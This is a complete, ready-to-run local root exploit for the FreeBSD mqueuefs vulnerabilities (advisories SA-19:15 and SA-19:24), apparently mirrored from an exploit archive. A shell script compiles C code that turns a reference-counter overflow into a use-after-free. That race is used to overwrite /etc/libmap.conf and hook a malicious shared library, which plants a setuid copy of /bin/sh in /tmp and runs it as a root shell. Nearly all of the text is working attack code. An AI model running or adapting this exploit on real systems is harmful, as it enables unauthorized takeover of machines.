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## https://sploitus.com/exploit?id=PACKETSTORM:155788
# Exploit: FreeBSD-SA-19:15.mqueuefs - Privilege Escalation  
# Author: Karsten König of Secfault Security  
# Date: 2019-12-30  
# Change line 719 to choose which vulnerability  
# is targeted  
#  
# libmap.conf primitive inspired by kcope's 2005 exploit for Qpopper  
# Exploit for FreeBSD-SA-19:15.mqueuefs and  
# FreeBSD-SA-19:24.mqueu  
#!/bin/sh  
  
echo "[+] Root Exploit for FreeBSD mqueuefs vulnerabilities"  
  
umask 0000  
  
# libmap.conf has to exist because it is  
# the attacked file  
if [ ! -f /etc/libmap.conf ]; then  
echo "[!] libmap.conf has to exist"  
exit  
fi  
  
# Make a backup of the current libmap.conf  
# because it has to be reconstructed afterwards  
cp /etc/libmap.conf ./  
  
# Write the exploit to a C file  
cat > exploit.c << EOF  
#include <errno.h>  
#include <fcntl.h>  
#include <pthread.h>  
#include <pthread_np.h>  
#include <signal.h>  
#include <stdlib.h>  
#include <stdio.h>  
#include <string.h>  
#include <unistd.h>  
#include <sys/cpuset.h>  
#include <sys/event.h>  
#include <sys/ioctl.h>  
#include <sys/param.h>  
#include <sys/socket.h>  
#include <sys/stat.h>  
#include <sys/syscall.h>  
#include <sys/sysctl.h>  
#include <sys/_types.h>  
#include <sys/types.h>  
#include <sys/un.h>  
  
#define N_OPEN 0x2  
  
// Tweak NUM_THREADS and NUM_FORKS if  
// more RAM is available on the target  
//  
// These parameters were tested with  
// up to 16 GB of RAM on a dual-core  
// Intel based system  
#define N 1000000  
#define NUM_THREADS 600  
#define NUM_FORKS 3  
#define FILE_SIZE 1024  
#define CHUNK_SIZE 1  
#define N_FILES 25  
  
// These are temporary files  
// which are created during  
// exploitation  
#define SERVER_PATH "/tmp/sync_forks"  
#define DEFAULT_PATH "/tmp/pwn"  
#define HAMMER_PATH "/tmp/pwn2"  
  
// This is the attacked file  
#define ATTACK_PATH "/etc/libmap.conf"  
  
// These are parameters from the attack script  
#define HOOK_LIB "libutil.so.9"  
#define ATTACK_LIB "/tmp/libno_ex.so.1.0"  
  
// The exploit will stick some threads  
// to specific cores  
#define CORE_0 0  
#define CORE_1 1  
  
// Syscalls from mqueuefs  
#define KMQ_OPEN 457  
#define KMQ_TIMEDSEND 460  
  
// Taken from sys/mqueue.h  
struct mq_attr {  
long mq_flags;  
long mq_maxmsg;  
long mq_msgsize;  
long mq_curmsgs;  
long __reserved[4];  
};  
  
struct thread_data {  
int fd;  
int fd2;  
};  
  
pthread_mutex_t write_mtx, trigger_mtx, count_mtx, hammer_mtx;  
pthread_cond_t write_cond, trigger_cond, count_cond, hammer_cond;  
  
// Both syscalls are indirectly called to be less reliable on  
// installed libraries  
int mq_open(const char *name, int oflag, mode_t mode,  
const struct mq_attr *attr)  
{  
int fd;  
fd = syscall(KMQ_OPEN, name, oflag, mode, attr);  
return fd;  
}  
  
void mq_timedsend(int fd, char *buf, size_t len,  
unsigned prio, const struct timespec *timeout)  
{  
syscall(KMQ_TIMEDSEND, fd, buf, len, prio, timeout);  
}  
  
// Convenience function to open temporary files  
int open_tmp(char *path)  
{  
int fd;  
char *real_path;  
  
if (path != NULL) {  
real_path = malloc(strlen(path) + 1);  
strcpy(real_path, path);  
}  
else {  
real_path = malloc(strlen(DEFAULT_PATH) + 1);  
strcpy(real_path, DEFAULT_PATH);  
}  
  
if ((fd = open(real_path, O_RDWR | O_CREAT, S_IRWXU)) == -1) {  
perror("[!] open");  
}  
  
return fd;  
}  
  
// Convenience function to prepare a UNIX domain socket  
void prepare_domain_socket(struct sockaddr_un *remote, char *path) {  
bzero(remote, sizeof(struct sockaddr_un));  
remote->sun_family = AF_UNIX;  
strncpy(remote->sun_path, path, sizeof(remote->sun_path));  
}  
  
// Convenience function to bind a UNIX domain socket  
int bind_domain_socket(struct sockaddr_un *remote) {  
int server_socket;  
  
if ((server_socket = socket(AF_UNIX, SOCK_DGRAM, 0)) == -1) {  
perror("[!] socket");  
exit(1);  
}  
  
if (bind(server_socket,   
(struct sockaddr *) remote,   
sizeof(struct sockaddr_un)) != 0) {  
perror("[!] bind");  
exit(1);  
}  
  
return server_socket;  
}  
  
// Convenience function to connect to a UNIX domain socket  
int connect_domain_socket_client() {  
int client_socket;  
  
if ((client_socket = socket(AF_UNIX, SOCK_DGRAM, 0)) == -1) {  
perror("[!] socket");  
exit(1);  
}  
  
return client_socket;  
}  
  
// Prevent panic at termination because f_count of the  
// corrupted struct file is 0 at the moment this function  
// is called but open file descriptors still points to the struct,  
// hence fdrop() is called at exit of the program and will raise a  
// kernel panic because f_count will be below 0  
//  
// So we just use our known primitive to increase f_count  
void prevent_panic(int fd)  
{  
mq_timedsend(fd, NULL, 0, 0, (const struct timespec *)0x1);  
mq_timedsend(fd, NULL, 0, 0, (const struct timespec *)0x1);  
mq_timedsend(fd, NULL, 0, 0, (const struct timespec *)0x1);  
}  
  
// Convenience function to stick a thread to a CPU core  
int stick_thread_to_core(int core) {  
cpuset_t cpuset;  
CPU_ZERO(&cpuset);  
CPU_SET(core, &cpuset);  
  
pthread_t current_thread = pthread_self();   
return pthread_setaffinity_np(current_thread, sizeof(cpuset_t), &cpuset);  
}  
  
// This function will trigger the use-after-free  
void *trigger_uaf(void *thread_args) {  
struct thread_data *thread_data;  
int fd, fd2;  
  
if (stick_thread_to_core(CORE_0) != 0) {  
perror("[!] [!] trigger_uaf: Could not stick thread to core");  
}  
  
thread_data = (struct thread_data *)thread_args;  
fd = thread_data->fd;  
fd2 = thread_data->fd2;  
  
printf("[+] trigger_uaf: fd: %d\n", fd);  
printf("[+] trigger_uaf: fd2: %d\n", fd2);  
  
// The thread has to wait for the preparation of the  
// race condition  
printf("[+] trigger_uaf: Waiting for start signal from monitor\n");  
pthread_mutex_lock(&trigger_mtx);  
pthread_cond_wait(&trigger_cond, &trigger_mtx);  
  
// This sleep parameter helps to render  
// the exploit more reliable  
//  
// Tweeking may be needed for the target system  
usleep(40);  
  
// Close two fds to trigger UaF  
//  
// This assumes that fget_write() in kern_writev()  
// was already successful!  
//  
// Otherwise kernel panic is triggered  
//  
// f_count = 2 (primitive+fget_write)  
close(fd);  
close(fd2);  
// f_count = 0 => free  
fd = open(ATTACK_PATH, O_RDONLY);  
// refcount = 1  
// all fds do now point to the attacked path  
  
printf("[+] trigger_uaf: Opened read-only file\n");   
printf("[+] trigger_uaf: Exit\n");  
  
pthread_exit(NULL);  
}  
  
// This function will write to many invalid file streams  
//  
// This will eventually increase the number of dirty buffers  
// in the kernel and creates an exploitable race condition  
// for the Use-after-Free  
void *hammer(void *arg) {  
int i, j, k, client_socket;  
char buf[FILE_SIZE], sync_buf[3];  
FILE *fd[N_FILES];  
struct sockaddr_un remote;  
  
prepare_domain_socket(&remote, SERVER_PATH);  
client_socket = connect_domain_socket_client();  
strncpy(sync_buf, "1\n", 3);  
  
// Open many files and unlink them directly  
// to render the file stream invalid  
for (i = 0; i < N_FILES; i++) {  
unlink(HAMMER_PATH);  
if ((fd[i] = fopen(HAMMER_PATH, "w+")) == NULL) {  
perror("[!] fopen");  
exit(1);  
}  
}  
  
for (i = 0; i < FILE_SIZE; i++) {  
buf[i] = 'a';  
}  
  
pthread_mutex_lock(&hammer_mtx);  
  
// Signal that the thread is prepared  
//   
// Sometimes sendto() fails because  
// no free buffer is available  
for (;;) {  
if (sendto(client_socket,  
sync_buf,  
strlen(sync_buf), 0,  
(struct sockaddr *) &remote,  
sizeof(remote)) != -1) {  
break;  
}  
}  
  
// Wait for the other hammer threads  
pthread_cond_wait(&hammer_cond, &hammer_mtx);  
pthread_mutex_unlock(&hammer_mtx);  
  
// Write to the file streams to create many dirty buffers  
for (i = 0; i < N; i++) {  
for (k = 0; k < N_FILES; k++) {  
rewind(fd[k]);   
}  
for (j = 0; j < FILE_SIZE*FILE_SIZE; j += CHUNK_SIZE) {  
for (k = 0; k < N_FILES; k++) {  
if (fwrite(&buf[j % FILE_SIZE], sizeof(char), CHUNK_SIZE, fd[k]) < 0) {  
perror("[!] fwrite");  
exit(1);  
}  
}  
fflush(NULL);  
}  
}  
  
pthread_exit(NULL);  
}  
  
// This function monitors the number of  
// dirty buffers.  
//  
// If enough dirty buffers do exist, a  
// signal to the write and Use-after-Free  
// trigger thread is signalled to  
// execute the actual attack  
//  
// Works on UFS only  
void *monitor_dirty_buffers(void *arg) {  
int hidirtybuffers, numdirtybuffers;  
size_t len;  
  
len = sizeof(int);  
  
if (sysctlbyname("vfs.hidirtybuffers", &hidirtybuffers, &len, NULL, 0) != 0) {  
perror("[!] sysctlbyname hidirtybuffers");  
exit(1);  
};  
printf("[+] monitor: vfs.hidirtybuffers: %d\n", hidirtybuffers);  
  
while(1) {  
sysctlbyname("vfs.numdirtybuffers", &numdirtybuffers, &len, NULL, 0);  
if (numdirtybuffers >= hidirtybuffers) {  
pthread_cond_signal(&write_cond);  
pthread_cond_signal(&trigger_cond);   
printf("[+] monitor: Reached hidirtybuffers watermark\n");  
break;  
}  
}  
  
pthread_exit(NULL);  
}  
  
// Check if the write to the attacked  
// path was successful  
int check_write(int fd) {  
char buf[256];  
int nbytes;  
struct stat st;  
  
printf("[+] check_write\n");  
stat(DEFAULT_PATH, &st);  
printf("[+] %s size: %lld\n", DEFAULT_PATH, st.st_size);  
  
stat(ATTACK_PATH, &st);  
printf("[+] %s size: %lld\n", ATTACK_PATH, st.st_size);  
  
nbytes = read(fd, buf, strlen(HOOK_LIB));  
printf("[+] Read bytes: %d\n", nbytes);  
if (nbytes > 0 && strncmp(buf, HOOK_LIB, strlen(HOOK_LIB)) == 0) {  
return 1;  
}  
else if (nbytes < 0) {  
perror("[!] check_write:read");  
printf("[!] check_write:Cannot check if it worked!");  
return 1;  
}  
  
return 0;  
}  
  
// This function will execute the write operation  
// to the attacked path  
void *write_to_file(void *thread_args) {  
int fd, fd2, nbytes;  
int *fd_ptr;  
char buf[256];  
struct thread_data *thread_data;  
struct mq_attr attrs;  
  
if (stick_thread_to_core(CORE_1) != 0) {  
perror("[!] write_to_file: Could not stick thread to core");  
}  
  
fd_ptr = malloc(sizeof(int));  
  
attrs.mq_maxmsg = 10;  
attrs.mq_msgsize = sizeof(int);   
  
thread_data = (struct thread_data *)thread_args;  
fd = thread_data->fd;  
fd2 = open(ATTACK_PATH, O_RDONLY);  
  
// Wait for the signal to execute the write operation  
printf("[+] write_to_file: Wait for signal from monitor\n");   
pthread_mutex_lock(&write_mtx);  
pthread_cond_wait(&write_cond, &write_mtx);  
  
// Write to the temporary file  
//  
// During the write operation the exploit will trigger  
// the Use-after-Free and exchange the written file  
// with the attacked file to render a write to it  
snprintf(buf, 256, "%s %s\n#", HOOK_LIB, ATTACK_LIB);  
nbytes = write(fd, buf, strlen(buf));  
  
// Reopen directly after write to prevent panic later  
//  
// After the write f_count == 0 because after trigger_uaf()  
// opened the read-only file, f_count == 1 and write()  
// calls fdrop() at the end  
//  
// => f_count == 0  
//  
// A direct open hopefully assigns the now again free file  
// object to fd so that we can prevent the panic with our  
// increment primitive.  
*fd_ptr = mq_open("/pwn_mq", O_RDWR | O_CREAT, 0666, &attrs);  
if (*fd_ptr == -1)  
perror("[!] write_to_file: mq_open");  
  
if (nbytes < 0) {  
perror("[!] write_to_file: write");  
} else if (nbytes > 0) {  
printf("[+] write_to_file: We have written something...\n");  
if (check_write(fd2) > 0)  
printf("[+] write_to_file: It (probably) worked!\n");  
else  
printf("[!] write_to_file: It worked not :(\n");  
}  
  
printf("[+] write_to_file: Exit\n");  
pthread_exit(fd_ptr);  
}  
  
// This function prepares the Use-after-Free due to  
// a reference counter overflow  
void prepare(int fds[3]) {  
int fd, fd2, fd3, trigger_fd;  
u_int32_t i;  
struct mq_attr attrs;  
attrs.mq_maxmsg = 10;  
attrs.mq_msgsize = sizeof(int);  
  
printf("[+] Start UaF preparation\n");  
printf("[+] This can take a while\n");  
  
// Open a mqueue file  
fd = mq_open("/pwn_mq", O_RDWR | O_CREAT, 0666, &attrs);  
if (fd == -1) {  
perror("open");  
exit(1);  
}   
  
// fp->f_count will be incremented by 1 per iteration due  
// to the bug in freebsd32_kmq_timedsend()  
//  
// That is, 0xfffffffe iterations will increment it to  
// 0xffffffff (f_count starts with 1 because of mq_open())  
//  
// The bug is triggered because freebsd_kqm_timedsend will eventually  
// try to call copyin() with the pointer to address 0x1 which  
// is invalid  
for (i = 0; i < 0xfffffffe; i++) {  
// just a progress message, nothing special about the magic values  
if (i % 0x19999990 == 0)  
printf("[+] Progress: %d%%\n", (u_int32_t) (i / 0x28f5c28));  
mq_timedsend(fd, NULL, 0, 0, (const struct timespec *)0x1);  
}  
  
// Every dup() increases fp->f_count by 1  
//  
// Using dup() works because FreeBSD's mqueue implementation  
// is implemented by using file objects (struct file) internally.  
//  
// This circumvents an infinite loop in fget_unlocked() as dup()  
// does not use _fget() but fhold() to increase the counter.  
fd2 = dup(fd);  
if (fd2 == -1) {  
perror("dup");  
exit(1);  
}   
fd3 = dup(fd);  
if (fd3 == -1) {  
perror("dup");  
exit(1);  
}   
  
// Close the mqueue file to trigger a free operation  
//  
// The descriptors fd2 and fd3 will still point  
// to the freed object  
//  
// Opening another file will render these descriptors  
// to point the newly opened file  
close(fd);  
trigger_fd = open_tmp(NULL);  
  
fds[0] = trigger_fd;  
fds[1] = fd2;  
fds[2] = fd3;  
  
printf("[+] Finished UaF preparation\n");  
}  
  
// This function will monitor that all  
// hammer threads are opened  
void read_thread_status(int server_socket) {  
int bytes_rec, count;  
struct sockaddr_un client;  
socklen_t len;  
char buf[256];  
struct timeval tv;  
  
tv.tv_sec = 10;  
tv.tv_usec = 0;  
setsockopt(server_socket,  
SOL_SOCKET, SO_RCVTIMEO,  
(const char*)&tv, sizeof tv);  
  
for (count = 0; count < NUM_FORKS*NUM_THREADS; count++) {  
if (count % 100 == 0) {  
printf("[+] Hammer threads ready: %d\n", count);  
}  
bzero(&client, sizeof(struct sockaddr_un));  
bzero(buf, 256);  
  
len = sizeof(struct sockaddr_un);  
if ((bytes_rec = recvfrom(server_socket,  
buf, 256, 0,  
(struct sockaddr *) &client,  
&len)) == -1) {  
perror("[!] recvfrom");  
break;  
}  
}  
  
if (count != NUM_FORKS * NUM_THREADS) {  
printf("[!] Could not create all hammer threads, will try though!\n");  
}  
}  
  
// This function will execute the whole exploit  
void fire() {  
int i, j, fd, fd2, fd3, bytes_rec, server_socket;  
int sv[2], fds[3], hammer_socket[NUM_FORKS];  
int *fd_ptr;  
char socket_path[256], sync_buf[3], buf[256];  
pthread_t write_thread, trigger_thread, monitor_thread;  
pthread_t hammer_threads[NUM_THREADS];  
pid_t pids[NUM_FORKS];  
socklen_t len;  
struct thread_data thread_data;  
struct sockaddr_un server, client;  
struct sockaddr_un hammer_socket_addr[NUM_FORKS];  
  
// Socket for receiving thread status  
unlink(SERVER_PATH);  
prepare_domain_socket(&server, SERVER_PATH);  
server_socket = bind_domain_socket(&server);  
  
// Sockets to receive hammer signal  
for (i = 0; i < NUM_FORKS; i++) {  
snprintf(socket_path, sizeof(socket_path), "%s%c", SERVER_PATH, '1'+i);  
unlink(socket_path);  
prepare_domain_socket(&hammer_socket_addr[i], socket_path);  
hammer_socket[i] = bind_domain_socket(&hammer_socket_addr[i]);  
}  
  
strncpy(sync_buf, "1\n", 3);  
len = sizeof(struct sockaddr_un);  
  
if (socketpair(PF_UNIX, SOCK_STREAM, 0, sv) == -1) {  
perror("[!] socketpair");  
exit(1);  
}  
  
pthread_mutex_init(&write_mtx, NULL);  
pthread_mutex_init(&trigger_mtx, NULL);  
pthread_cond_init(&write_cond, NULL);  
pthread_cond_init(&trigger_cond, NULL);  
  
// Create the thread to monitor the number of  
// dirty buffers directly in the beginning  
// to be ready when needed  
pthread_create(&monitor_thread, NULL, monitor_dirty_buffers, NULL);  
  
// Prepare the UaF using the 0day  
prepare(fds);  
fd = fds[0];  
fd2 = fds[1];  
fd3 = fds[2];  
  
// Create the threads which will execute the exploit  
thread_data.fd = fd;  
thread_data.fd2 = fd2;  
pthread_create(&trigger_thread, NULL, trigger_uaf, (void *) &thread_data);  
pthread_create(&write_thread, NULL, write_to_file, (void *) &thread_data);  
  
for (j = 0; j < NUM_FORKS; j++) {  
if ((pids[j] = fork()) < 0) {  
perror("[!] fork");  
abort();  
}  
else if (pids[j] == 0) {  
// Close the file descriptors  
// becasue each fork will have an own reference  
// to the file object, thus increasing the  
// reference counter  
close(fd);   
close(fd2);  
close(fd3);  
pthread_mutex_init(&hammer_mtx, NULL);  
pthread_cond_init(&hammer_cond, NULL);  
  
// Create the hammer threads  
for (i = 0; i < NUM_THREADS; i++) {  
pthread_create(&hammer_threads[i], NULL, hammer, NULL);  
}  
  
printf("[+] Fork %d created all threads\n", j);  
  
// Wait for the signal to start hammering from the parent  
if ((bytes_rec = recvfrom(hammer_socket[j],  
buf, 256, 0,  
(struct sockaddr *) &client,  
&len)) == -1) {  
perror("[!] accept");  
abort();  
}  
  
// Broadcast to the hammer threads to  
// start hammering  
pthread_cond_broadcast(&hammer_cond);  
  
// Wait for the hammer threads  
for (i = 0; i < NUM_THREADS; i++) {  
pthread_join(hammer_threads[i], NULL);  
}  
  
pthread_cond_destroy(&hammer_cond);  
pthread_mutex_destroy(&hammer_mtx);  
  
exit(0);  
} else {  
printf("[+] Created child with PID %d\n", pids[j]);   
}  
}   
  
// Wait for the preparation of all hammer threads  
// in the forks.  
//  
// If all are prepared, send a signal to the childs  
// to start the hammering process to create dirty  
// buffers.  
read_thread_status(server_socket);  
printf("[+] Send signal to Start Hammering\n");  
for (i = 0; i < NUM_FORKS; i++) {  
if (sendto(hammer_socket[i],  
sync_buf,  
strlen(sync_buf), 0,  
(struct sockaddr *) &hammer_socket_addr[i],  
sizeof(hammer_socket_addr[0])) == -1) {  
perror("[!] sendto");  
exit(1);  
}  
}  
  
// Wait for all threads to finish  
pthread_join(monitor_thread, NULL);  
for (i = 0; i < NUM_FORKS; i++) {  
kill(pids[i], SIGKILL);  
printf("[+] Killed %d\n", pids[i]);  
}  
  
pthread_join(write_thread, (void **) &fd_ptr);   
pthread_join(trigger_thread, NULL);  
  
pthread_mutex_destroy(&write_mtx);  
pthread_mutex_destroy(&trigger_mtx);  
pthread_cond_destroy(&write_cond);  
pthread_cond_destroy(&trigger_cond);  
  
// Prevent a kernel panic  
prevent_panic(*fd_ptr);  
  
// fd was acquired from write_to_file  
// which allocs a pointer for it  
free(fd_ptr);  
}  
  
int main(int argc, char **argv)  
{  
setbuf(stdout, NULL);  
  
fire();  
  
return 0;  
}  
  
EOF  
  
# Compile with -m32 to exploit FreeBSD-SA-19:24.mqueuefs  
cc -o exploit -lpthread exploit.c  
# cc -o exploit -m32 -lpthread exploit.c  
  
cat > program.c << EOF  
#include <unistd.h>  
#include <stdio.h>  
#include <sys/types.h>  
#include <stdlib.h>  
  
void _init()  
{  
if (!geteuid())  
execl("/bin/sh","sh","-c","/bin/cp /bin/sh /tmp/xxxx ; /bin/chmod +xs /tmp/xxxx",NULL);  
}  
  
EOF  
  
# Compile the shared library object  
cc -o program.o -c program.c -fPIC  
cc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles  
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0  
  
# Start the exploit  
#  
# su will execute the shared library object  
# that creates the shell binary copy  
echo "[+] Firing the Exploit"  
./exploit  
su  
  
# Ensure that everything has worked  
# and execute the root-shell  
if [ -f /tmp/xxxx ]; then  
echo "[+] Enjoy!"  
echo "[+] Do not forget to copy ./libmap.conf back to /etc/libmap.conf"  
/tmp/xxxx  
else  
echo "[!] FAIL"  
fi